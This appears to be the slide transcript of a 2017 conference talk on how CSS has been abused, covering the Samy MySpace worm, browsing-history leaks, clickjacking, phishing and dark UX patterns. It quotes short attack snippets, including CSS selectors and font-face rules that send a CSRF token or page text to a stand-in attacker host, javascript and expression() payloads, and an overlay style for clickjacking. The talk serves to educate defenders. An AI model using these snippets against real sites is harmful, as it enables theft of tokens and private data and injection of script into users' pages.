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CSS For Good, Not Evil
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Stephen Hay
June 16, 2017
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CSS For Good, Not Evil
My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam
Stephen Hay
June 16, 2017
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Transcript
CSS For Evil, Not Good. How style has been used
to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
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catawiki.com/jobs
MySpace
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Samy
In a relationship.
In a relationship. hot
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but most of all, Samy is my hero By
vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); …” </div> https://samy.pl/popular/tech.html http://www.securiteam.com/securitynews/6I00C2KEAA.html
WTF https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever
Samy didn’t have evil intentions.
I’m not a security expert.
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There are different levels of evil.
Level 1: Getting some browsing history.
weirdbutdead.com
weirdbutdead.com getComputedStyle
Boolean algebra & mix-blend-mode
http://lcamtuf.coredump.cx/whack/ http://lcamtuf.coredump.cx/css_calc/
Level 2 Mathias Bynens’ Evil Basement of Horrors
Some Belgian kid did a presentation… https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015
Stealing DOM data
<input type="hidden" name="csrf-token" id="csrf" value=“555…"> #csrf[value^="a"] { background: url(//evilmathias.example.com/?v=a); }
#csrf[value^="b"] { background: url(//evilmathias.example.com/?v=b); } etc.
Text-symbol leaking
<div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {
font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }
Forcing IE=7 Expressions
.foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta
http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>
Level 3 Path-relative stylesheet import http://blog.portswigger.net/2015/02/prssi.html
http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *
{ width: expression( alert( ‘evil’ )) } http://example.com/posts.php/
Level 4 Content replacement
<style> nav {display: none;} </style> <div style”[various styles]”> Content </div>
Oops: allow users to add <style>
Allow users to add classes. Oops.
Allow users to add classes. Oops.
Level 5 UI Redressing “Clickjacking”
LinkedIn
.li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;
top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }
{"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} - https://security.linkedin.com/blog-archive#11232015
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Level 6 Phishing
https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/
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One thing going for us, at least for now: most
scammers aren’t great designers.
“Good” design works. Even for evil.
Level 7 Dark Patterns Black Hat UX
Sophisticated deceivers seem knowledgable about behaviour as well as technology.
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Image: https://www.brignull.com/
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“Roach Motel”
Unsubscribe…
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Misdirection
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Confirmation of desired behaviour
Yes | No Yes | Not right now Yes |
Maybe later There is a significant difference between these sets of choices.
Exploiting behavioural patterns
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People who stand to gain something from you have motive
to deceive.
Level 8 Command execution on a target system https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html
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When systems become more complex, the number of possible weaknesses
can increase, yet become less apparent.
What’s the takeaway here? Nothing.
Is there a positive message? No.
Thank you! @stephenhay Special thanks to Mathias “Evil Belgian Kid”
Bynens